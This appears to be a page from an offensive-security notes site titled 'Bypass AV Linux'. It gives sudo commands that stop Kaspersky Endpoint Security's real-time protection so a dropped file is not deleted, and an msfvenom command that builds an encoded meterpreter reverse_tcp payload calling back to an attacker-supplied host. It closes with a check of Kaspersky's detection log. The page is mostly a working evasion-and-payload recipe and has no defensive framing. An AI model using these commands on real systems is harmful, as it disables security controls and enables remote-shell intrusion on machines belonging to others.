> For the complete documentation index, see [llms.txt](https://hacker-mind.gitbook.io/hacker-mind/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacker-mind.gitbook.io/hacker-mind/payload/bypass-all-the-things/bypass-av-linux.md).

# Bypass AV Linux

kaspersky endpoint security

Turn off real time protection:

{% hint style="info" %}
If we don't turn off, AV will delete our file instantly.
{% endhint %}

<pre><code><strong>sudo kesl-control --stop-t 1
</strong><strong>
</strong><strong>#start
</strong>sudo kesl-control --start-t 1
</code></pre>

if still deleted, use GPG.

Metasploit payload

```bash
msfvenom -p linux/x64/meterpreter/reverse_tcp LPORT=443 LHOST=10.10.x.y -e x64/zutto_dekiru -f elf -o shell64zutto.elf
```

review event log of kaspersky:

```
sudo kesl-control -E --query |grep DetectName
```